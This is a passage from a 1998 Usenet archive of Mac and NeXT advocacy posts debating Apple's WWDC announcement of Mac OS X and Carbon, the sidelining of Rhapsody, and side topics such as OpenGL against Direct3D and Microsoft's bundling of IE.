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References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com>
Message-ID: <5cR51.1551$sy4.3122694@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 05:34:57 GMT
NNTP-Posting-Date: Mon, 11 May 1998 22:34:57 PDT
Organization: @Home Network
In <slrn6lfj6b.l9u.sal@panix3.panix.com> Salvatore Denaro wrote:
> On 12 May 1998 03:25:17 GMT, Sean Luke <seanl@cs.umd.edu> wrote:
> <<other fud trimmed>>
>
> I read both the Apple PR statement and Scott's notes on StepWise. From what
> I read MacOSX is Rhapsody renamed MacOS and with a better bluebox.
>
>
Is it all over?
Irregardless of what you read, can NeXTies "afford" two years for market
access via MacOS X? Can Mac ISV's afford to wait for MacOS X new technology?
Can Apple afford to wait? Can WinNT users afford to wait?
-r
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 22:28:00 -0700
Organization: Trilithon Research and Trading
Message-ID: <3557DDE0.4333CCA0@trilithon.com>
References: <6j83mg$1cc$2@ironhorse.plsys.co.uk> <B17D23E3-9037@206.165.43.13>
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Lawson English wrote:
* mmalcolm crawford <malcolm@plsys.co.uk> said:
* * I really don't believe it.
* * Apple announces that it's pouring resources into
* * providing an even easier transition to the new OS
* * for traditional MacOS developers, and yet Lawson
* * still complains.
* 1) If a Blue Box for non-Carbon apps isn't supported,
* this really fractures the MacOS development market.
* 2) if you haven't noticed, my favorite graphics engine
* didn't make the grade.
We noticed. Wondered when you were about to starting frothing again.
Take your anti-depression medication and start coding that QuickDraw
GX AppKit layer --- we're all waiting to see what you can produce
in the two hours per day you're not posting to UseNet.
* The only way to produce 2D graphics using Carbon is
* 32-bit QuickDraw.
That *is* a bummer --- on this issue we agree on something, finally.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cancel
Control: cancel <6j8khh$q2s$2@gaia.ns.utk.edu>
Date: 12 May 1998 05:30:07 GMT
Organization: University of Tennessee
Message-ID: <6j8mov$sc5$1@gaia.ns.utk.edu>
<6j8khh$q2s$2@gaia.ns.utk.edu> was cancelled from within trn.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 05:41:22 GMT
Message-ID: <6j8ne2$ps6$1@newsfep3.sprintmail.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <1d8w9sp.1qqgx4p6r334gN@rhrz-isdn3-p44.rhrz.uni-bonn.de>
<6j893a$g46$1@newsfep4.sprintmail.com> <3557DA61.F8D7788C@trilithon.com>
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Cc: henry@trilithon.com
. . . . . . . . . . . . . . . . . . . . . .
> * No, how is it a troll? I see no possible way how it
> * could be a troll against apple.
> * Will Qd gx be a part of macos X?
> The other day you promised to clean up your act . . .
I am very sorry, I dont see what is wrong with what I did? Can you please
inform me?
I am most definitely not going to apologize when I see absolutely nothing
wrong with what I did?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: WWDC according to New York Times
Date: Tue, 12 May 1998 03:47:43 -0400
Organization: BM
Message-ID: <6j8umq$qvn@chile.earthlink.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
<6imcmk$oj1$3@ligarius.ultra.net>
<stone-ya02408000R0505980240210001@news.enetis.net>
<6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu>
<6ir7ua$14g$1@nnrp1.dejanews.com>
<rmcassid-0705980005120001@dialin33419.slip.uci.edu>
<6ivv73$38k$1@nnrp1.dejanews.com>
<rmcassid-0905981831450001@dialin9013.slip.uci.edu>
<6j4gep$l28$1@nnrp1.dejanews.com>
<rmcassid-1105981238190001@dante.eng.uci.edu>
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Here's an interesting take on the WWDC by New York Times this morning:
SAN JOSE, Calif. -- Continuing to gamble big in his efforts to resurrect
Apple Computer Inc., Steve Jobs, the company's interim chief executive,
on Monday effectively killed the Rhapsody operating system, which Apple
acquired when it bought Jobs' company Next Software Inc. for $425
million in 1997.
[snip]
Under the new software strategy, Rhapsody will serve only as a
transition to Mac OS X, permitting software developers to incorporate
some of the new operating system's features even before the first test
version of OS X (the X is a Roman numeral 10, and the system is called
OS 10) is introduced early next year.
[snip]
In an interview after his speech, Jobs said he realized 10 months ago,
when he took over as interim chief executive, that the company's
previous Rhapsody strategy was doomed.
"I know I'm going to take some arrows," he said of his shifting the
company's strategy. "But you've got to do what you've got to do."
[snip]
Moreover, Jobs said he was less concerned about the ability to run on
both Intel and Power PC microprocessors, because future versions of the
Power PC chip would continue to outperform Intel's Pentium family of
processors.
[snip]
Separately, the company reported in a financial filing Monday that since
the second quarter of 1996 it had laid off about 3,600 full-time
employees, excluding employees of businesses Apple sold off. The
restructuring cost about $223 million in addition to write-downs of $60
million during the same period.
Despite high hopes for selling computers directly by way of the
Internet, Apple also said it generated only $16 million in sales on its
Web site during the second quarter of this year.
Ziya
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 12 May 1998 08:17:19 GMT
Organization: Idiom Communications
Message-ID: <6j90if$2al$1@news.idiom.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <pulsar-ya02408000R1105981731400001@news-proxy.cso.uiuc.edu>
<1d8vzxh.bbqkhd169j8ybN@sextans111.wco.com>
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Cc: mpaque@wco.com
Mike Paquette may or may not have said:
-> Pulsar <pulsar@springnet1.com> wrote:
->
-> > In addition to the Yellow Box and the Carbon APIs, there will be the
Blue
-> > Box. (This is mostly speculation on my part since this wasn't entirely
-> > clear). Yellow Box covers the Rhapsody part. The Carbon APIs cover the
-> > updated Mac OS part, and the Blue Box covers the legacy Mac OS apps part
so
-> > that old PPC and 68k apps will still run in Mac OS X.
->
-> You've got it.
->
-> Existing MacOS apps (68K & PPC) run in the Blue Box. (Covered in
-> Thursday's session)
->
-> Carbon apps run native PPC code in protected address spaces with modern
-> OS services.
->
-> Yellow apps run alonside the Carbon apps.
I think it also bears mentioning that if you're in the process of moving a
MacOs app to OpenStep, that with the Carbon API in place, you don't have to
do a re-write all at once. In fact, if one were to port a typical MacOS app
to Carbon, one could then proceed to write additions and extensions to that
existing app using the OpenStep APIs
Mike, care to comment? Am I correct in my assumption that the Carbon API
will be just another framework that any Mac OS X app can use or not use as I
please?
-jcr
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
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References: <6j8fet$k2n$1@walter.cs.umd.edu> <1d8w02l.8jafl315dbwx8N@sextans111.wco.com>
Message-ID: <oXT51.1822$sy4.3189027@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 08:41:56 GMT
NNTP-Posting-Date: Tue, 12 May 1998 01:41:56 PDT
Organization: @Home Network
In <1d8w02l.8jafl315dbwx8N@sextans111.wco.com> Mike Paquette wrote:
> Sean Luke <seanl@cs.umd.edu> wrote:
>
> >
> > This announcement practically guarantees that no one will develop for the
> > Yellow Box. Why develop for an API whose future design is uncertain,
which
> > is being deemphasized in public statements, whose basic drawing engine is
> > being eliminated and whose very existence isn't necessary to enjoy
preemptive
> > multitasking, kernel-level multithreading, and memory protection?
>
> Probably because a developer can be about 5x as productive using the
> Yellow APIs. Existing apps get ported using Carbon. New apps are
> developed using Yellow, or Carbon for those who don't want to use new
> APIs, automated Java bridging, distributed objects, or any of that
> new-fangled stuff.
>
> Mike Paquette
>
Mike... you've anchored the bottomline here at csna with weighted and balanced
insight. I personally hold you, your opinion and knowledge in highest
respect. <Incoming>
... a mouthful of buzzword technologies a product doth not make .
What company's going to commission development on an OS platform without any
future development scheduled? Any company you know that will risk "pilots" on
a _future_ announced replacement OS?
The only thing "new-fangled" is the OS strategy to extend R&D 12 mo. and
release the "new OS", MacOS X.
I'm stunned ... Steve's got all the evangelists singing in unision ! The
marketing machines are pumping to the beat " Buy Speed - Buy Apple ". The new
hardware has "lipstick and teal" rolling out "on cue".
Where's the Music? A couple of MacOS X "Rhapsody" samples (DR2, CR1)? Does
that fill the Apple product pipeline now?
Could AAPL have a couple of lean years ahead selling a static OS into a
dynamic marketplace on the "promise" of a replacement. The technological
horizon on the MacOS X is near-field, ie yesterday's technology. Two years
from now? At the speed of technological developments in the computer
industry, how can specs for MacOS X be "obsolete proof"? How
"Revolutionary-Evolutionary" will the marketplace view MacOS X, then?
Is Steve chasing a yawning consumer... a consumer fixated on the dazzling
array of technological innovation and progress in everyday products and
services. Do you think the evolutionary spec will hold up in the marketplace
12 - 18 mos. out?
-r
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 12 May 1998 10:51:43 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <35588C2E.623F@zvw._REMOVE_THIS_de>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <6j5p74$3gd$1@supernews.com> <MPG.fc163d0c3a0018a989d92@news1.mnsinc.com>
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David H. McCoy wrote:
> > I do understand that, but in the popular domain direct 3d is what
everyone
> > really means. Nobody seems to be horribly offended by DirectDraw
or
> > DirectSound or even DirectPlay. There wasn't anything like them
out there
> > too much. But a new 3d standard leaves some people scratching
their heads -
> > especially when Open/GL is so widely accepted.
> >
> > And, since I'm still struggling with learning 3d programming, I'd
like to
> > point out that Open/GL is a hell of a lot simpler than Direct 3D.
>
> Which domain is that? I am not in the gaming side of things, but
I've
> always looked at DirectX as "direct access to the hardware though
APIs."
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
oxymoron
The domain of the game programmers that have to deal with it. It's too
complicated to write a D3D program. OpenGL is easier.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 01:48:44 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35579C6A.582D@earthlink.net>
References: <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu> <B17CCC79-3D130@206.165.43.153>
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Lawson English wrote:
> I missed the part about the BLue Box in MacOS X. When was this announced?
You sure did although hey didn't mention it by name (blue box), but they
did say that all existing OS8 apps will run fine on MacOS X. They will
not "break". If they want to take advantage of all the new
multi-tasking and protective memory, only then will they have to rewrite
the 10% or so of the app. Sound like a pretty good deal to me!
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 02:12:04 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3557A1DE.17A6@earthlink.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104>
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I think everybody is confusing things here. Here's what I see from the
outlined plan.
The Blue Box = "Carbon". These are all the regular Mac API's that
everyone still uses. Carbon is not a new item, just a new name. Blue
Box was only a temp name.
The Yellow Box (Rhapsody API's) = Mac OS X. Yellow Box was only a temp
name.
Carbon apps will run on Mac OS X just like Blue Box was going to run on
Rhapsody (and does in the RDR). Only the names have changed.
As stated ALL current OS 8 apps WILL run on Mac OS X (Blue Box -
Carbon).
Now, having said that....if you want to port your current Mac app to Mac
OS X to take advantage of the new features (pre-emptive multi-tasking,
protected memory, etc.) you must see how much "Carbon" you will have to
remove and replace (hence "carbon dating"). This would be most likely
with Yellow Box API's. They estimated that only 10% of most apps will
need to be rewritten. This was what Steve meant by going further than
Rhapsody. It will allow most Mac developers to easily transition to Mac
OS X.
This to me sounds the most logical and clear definition of what they
were trying to put forth. I wish they would just be more clear about
the terminology. I didn't hear anything about the cross platform
abilities but I would bet all that will continue. It already exists.
Let me know what you think.
Steve
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Tue, 12 May 1998 19:19:24 +1000
Organization: OzEmail Ltd.
Message-ID: <6j9488$e9u$1@reader1.reader.news.ozemail.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net>
Simulated Snow wrote ...
>I'm betting that the iMac is under $900 actual street price before Turkey day
>& a plethora of USB items are available for good measure
Do you think the iMac would sell well at $1299? I think it would sell
as well as any of their regular stuff (or better) - so it'll keep their
production line running at capacity right?
If I'm right - then if Apple dropped the price they wouldn't be able
to produce any more anyway, people would get annoyed at the wait, and
Apple wouldn't make as much money. So they wouldn't be able to buy
more production lines.
D'oh
From: guyt@is.twi.tudelft.nl (Abraham Guyt)
Newsgroups: comp.sys.next.advocacy
Subject: Carbon features: NO Quickdraw !!
Date: 12 May 1998 09:51:29 GMT
Organization: Delft University of Technology
Message-ID: <6j9631$61c$1@news.tudelft.nl>
Hi,
Below a repost of a mac.advocacy newspost. One very important aspect is
that Quickdraw is NOT supported by Carbon.
From: st942593@pip.cc.brandeis.edu (cpt kangarooski)
Newsgroups: comp.sys.mac.advocacy
Subject: Carbon
Date: Tue, 12 May 1998 01:48:16 -0400
I've been skimming through the Carbon white paper, "Transitioning to MacOS
X" which is located at:
<http://developer.apple.com/macosx/pdf/CarbonPaper.pdf>
Here's some interesting things that Carbon will or won't support.
GONE:
*AV Components
Evidently MacOS X will replace Monitors and Sound, and any custom
extensions of
it will need to be rewritten. As long as they learned from Sound and
Displays....
*Dictionary Manager
This is part of WorldScript, and yanking it supports the addition of
ATSUI
(below)
*Game Sprockets
These are still up in the air. However, they're not bad, and I think
developers
should write in supporting them.
*MIDI Manager
This is gone, but I wonder how much of it is already supported in
QuickTime...
*Mixed Mode Manager & Packet Manager, et al
These relate to 68K emulation on PPCs, and are gone, as Carbon is PPC
only.
*Open Transport
Calm down, only certain parts of it are leaving us. I suspect that Apple
is
going to rely on new networking APIs.
*Publish and Subscribe
Apple says that since no one was using it, it's going.
*QuickDrawGX
Sorry guys, but this one is outta here.
*Resource Manager
Actually this is only getting changed a little bit, but here's a nifty
tidbit.
MacOS X will not use the Mac's ROMs. Hmmmm....
*Telephone Manager
Big surprise there.
In addition, a LOT of networking and peripheral APIs are getting folded
into OpenTransport and the IOKit.
IFFY:
*Communications Toolbox
Apple wants input on this.
*Power Manager
Ditto.
*Speech Manager
Will the iMac never be able to tell us that it's happy to get out of that
bag?
NEW:
*Apple Type Solution for Unicode Imaging (ATSUI)
Can these acronyms get any worse? Anyhow, this API is apparently not even
introduced yet, but I'd guess that we'll soon have systemwide support for
Unicode.
*Navigation Services
Not actually new, but it looks like they _really_ want people to start
using
it.
Anyone else want to take a stab at what MacOS X (& Carbon) will be like?
--
-cpt kangarooski
-st942593@pip.cc.brandeis.edu
-<*>
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Tue, 12 May 1998 07:06:15 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Esu12F.2yG@micmac.com>
References: <ericb-1105981718430001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: ericb@pobox.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<ericb-1105981718430001@132.236.171.104>) by Eric Bennett:
>
It seems clear to me that carbon apps will ship for Intel...
So it's a plus!
This year we get Rhapsody on different platforms with transparent BlueBox
for *all* Mac apps on Macs only .
Next year many Mac apps on different platforms thanks to Carbon...
(So with five days work, programmers reluctant to openstepify their apps
will still have acces to Intel market!)
(Don't forget that OpenStep/Rhapsody developpers will have acces to this
market THIS year: NOBODY is screwed...)
For me this is a bright move from Steve and Apple!!! Talk about Machiavely!
(this is a compliment...)
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 07:45:45 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Esu2w9.32s@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: ericb@pobox.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<ericb-1105981832070001@132.236.171.104>) by Eric Bennett:
> I will probably buy Rhapsody 1.0 and be quite happy with it. My concern
> is that Apple is still a long way away from shipping a mainstream modern
> OS. MacOS 8.x is Apple's mainstream OS until late 1999 at the earliest.
> We were *supposed* to have Rhapsody as Apple's new mainstream OS as of
> last January. We were *supposed* to have Copland before that. Well, at
> least it looks like Rhapsody will ship, even if it will be downplayed.
>
If you want to feel better you can call Mac OS X Rhapsody 2.0!
That's what it will be!
You should now by now that marketing imperatives are quite different from
*REALITY*...
> In other words, you can count out all of today's major software
> publishers? I see Adobe happily demoing Photoshop on Carbon. But they
> aren't porting to Rhapsody (no demos there), nor is Apple giving them a
> reason to do so.
If they don't that's their loss: they will be replaced. After all software
dominance for the rest of eternity is not a promised thing anywhere!
There is a Darwinian fate on some publishers/developpers. Brontosorians
didn't make the smart move. Maybe they couldn't...
> It's looking more and more like Apple didn't get much useful stuff out of
> the NeXT purchase than Mr. Jobs. They're paying little attention to the
> OS they paid for with $400 million. I'm certainly paying attention to it,
> but I wish Apple would too.
>
>
You should not make such conclusions! It makes you look having poor analysis
capacities...
I guess you have absolutely no idea of what marketing is about!
I can tell you that Steve is *bright*!
mc
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 08:06:39 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Esu3v3.365@micmac.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: pulsar@springnet1.com
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>) by Pulsar:
> It would make little sense for someone writting a new application or
> someone rewritting an application anyway to use Carbon since YB will
> provide a much larger market and will be much easier to maintain. The YB
> will be developed further and extended. Carbon (as I see it) is largely a
> dead end. It's just a temporary solution.
>
Though we agree on the rest, as I see it, you're wrong on that:
Carbon will run on Intel (mo)... So this is also a way to access a much
larger market.
(but yes it's a temporary solution!)
mc
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 03:46:59 -0700
Message-ID: <see-below-1205980346590001@209.24.240.56>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <see-below-1105981809120001@209.24.240.244> <1d8vzke.13nwr541xiuw84N@sextans111.wco.com>
In article <1d8vzke.13nwr541xiuw84N@sextans111.wco.com>, mpaque@wco.com
(Mike Paquette) wrote:
> Matthew Vaughan <see-below@not-my-address.com> wrote:
>
> > > The people to blame are the Mac developers, and the Big Brand names in
> > > particular, who didn't stand up and embrace Rhapsody.
> >
> > I disagree. Apple has yet to give them a compelling reason to do so.
>
> Actually, Apple's job is to give develoers what they say they need to be
> successful. The folks who will move the Big Brands into looking at
> Yellow APIs will be all the small shops whose low overhead and
> innovatiev products will be eating their lunch.
>
> Competition and all that free market jazz, y'know...
I agree. But there haven't really been enough of them to scare the big
guns into action (ie, enough to create a market). So far, it mainly seems
like the same Next developers, who are doing great stuff, but there just
aren't enough of them. Small Mac developers aren't jumping either, because
they _really_ don't have the time or resources to mess with Rhapsody until
they're 100% positive that's where the platform is going.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 03:56:45 -0700
Message-ID: <see-below-1205980356460001@209.24.240.56>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu>
In article <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu>, mbkennel <replace
this with '@'> yahoo.com wrote:
> Software companies are stupid. Look, in 1989 already, Steve's company had
> an API which was so incredibly unbelievably stupendously better than
> everything else at the time except for a few Lisp machines folornly decaying
> in museums and cognitive science departments.
I don't think you get it. Software companies by and large couldn't give a
fuck what API they're using - they go where the customers are, and Next at
the time had essentially 0 customers, same as Yellow Box today. (and I
don't mean programmers don't have preferences, it's just that they don't
necessarily get paid to write the software they want to write for the API
they want to write for - they get paid to write software that there's a
market for.)
Lots of companies undoubtedly recognize OpenStep is really cool, but most
of those companies don't survive by selling products just because they're
"cool." And software companies are aware that it's potentially a good
cross-platform solution. But few have yet concluded that it's worth their
time to bother converting all their applications over to it.
Among other things, they don't know when it will be commonly available to
end customers, or how fast those customers are likely to adopt it. These
are the kinds of quesitons that we'd hoped would be answered as the year
progressed, but all we got was silence, and increasing rumors of "no
progress." This is the kind of thing that confirms these companies' fears
about Rhapsody possibly not coming to fruition, at least as a viable
platform to port their applications to in the near future.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 12 May 1998 06:52:17 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6j9ac3$tnp$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>In article <6j2m0f$m0c$3@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>Robert Cassidy wrote in message ...
>>>In article <6ir7p5$nt$4@ligarius.ultra.net>, "John Saunders"
>>><jws@jws.ultranet.com> wrote:
>>>
>>>> And I don't believe you actually have to use IE if you don't want to.
You
>>>> can use Netscape if you want. In fact, an OEM can even preload Netscape
>>on
>>>> your new computer and add the Netscape icon to the desktop.
>>>
>>>According to MS you do, because you cannot remove it and because critical
>>>elements of the system supposedly require it.
>>>
>>Bob, you leave me totally confused.
>>
>>If you used Netscape for all of your web browsing, but if some
applications
>>you use had HTML help files and used some "IE4" component to display the
>>help, why would you have a problem? The presence of "IE4" components on
your
>>system does NOT mean you have to use them when you would have chosen
>>Netscape. Not, at least, unless you really wanted to use Netscape to view
>>that HTML help? If so, why?
>
>Again, because MS says that I cannot disassociate IE with some of the
>functions of the system, that means I cannot develop my own solutions that
>may work better with Netscape than IE. That means that an app that I use
>that wants an internet gateway cannot use Netscape as that gateway.
>
Bob,
What in the world are you talking about?
Try to get specific. You say:
>Again, because MS says that I cannot disassociate IE with some of the
>functions of the system
Which functions? Are there so many functions that you cannot either
enumerate the functions or provide a pointer to a list of these functions?
If you don't give any proof, why shouldn't we believe you're just talking
out of your hat?
>That means that an app that I use
>that wants an internet gateway cannot use Netscape as that gateway.
Bob, the words "internet gateway" are pretty generic. I have no idea what
kind of gateway you're talking about. Could you please clarify that? And
when you said "Netscape", did you mean "Netscape the company", or "Netscape
Navigator/Communicator/whatever"?
[snip]
>There are a lot of reasons why I like Netscape for browsing over IE.
You didn't get my question, and I think I'm beginning to see why.
I apologize for not realizing it before, but you seem to be a Mac person. So
when I said, "HTML Help" in my post, you didn't know what I was talking
about?
Microsoft now has the technology to allow help files to be written using
HTML. I've seen that called "HTML Help". I suspect this feature is available
outside of Redmond as well. In order to display the help files, some sort of
HTML renderer is necessary. My question was, "If you could use Netscape as
your browser, would you care which piece of code rendered the HTML in HTML
help?"
I'll add another question: "If programs you wrote could use Netscape code to
render HTML help, would you care if programs someone else wrote used IE code
to render HTML help?"
>Why should I *ever* want to be denied the ability to choose what is best
>for my users? There is almost no point in questioning the desire for
>choice, as there are always going to be cases that cannot be predicted.
>
I have never said you should be denied the ability to choose. I have never
seen any reason at all to believe that Microsoft's actions would deny you
the ability to choose. I understand there are even OEMs which ship Windows
95 with both browsers on the desktop. They let the user choose. What's the
problem with that?
Thanks,
John Saunders
jws@jws.ultranet.com
Subject: Re: WWDC according to New York Times
Newsgroups: comp.sys.next.advocacy
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net>
In-Reply-To: <6j8umq$qvn@chile.earthlink.net>
From: not@my.address.net
Message-ID: <IfW51.1190$0A3.5351018@news.itd.umich.edu>
Date: Tue, 12 May 1998 11:20:08 GMT
NNTP-Posting-Date: Tue, 12 May 1998 07:20:08 EDT
On 05/11/98, "Ziya Oz" wrote:
>Here's an interesting take on the WWDC by New York Times this morning:
>
>SAN JOSE, Calif. -- Continuing to gamble big in his efforts to resurrect
>Apple Computer Inc., Steve Jobs, the company's interim chief executive,
>on Monday effectively killed the Rhapsody operating system
This reminds me of a news report filed when Apple purchased NeXT. It claimed
that OPENSTEP wouldn't allow a person to do two things at once "like send mail
and FAX a document." This, presumably, after the reporter was told that SMP
wasn't enabled in the current build of the Mach kernel used by OPENSTEP.
Does the New York Times know the difference between an operating system and an
API? What part of Rhapsody does the New York Times think won't be part of
MacOSX? The Mach kernel? The Java VM? The YellowBox API's? ... or is it the
only the name "Rhapsody"?
--
invert: umich.edu jdevlin
insert: shift "2"
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 07:48:03 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j9ctj$15e$1@crib.bevc.blacksburg.va.us>
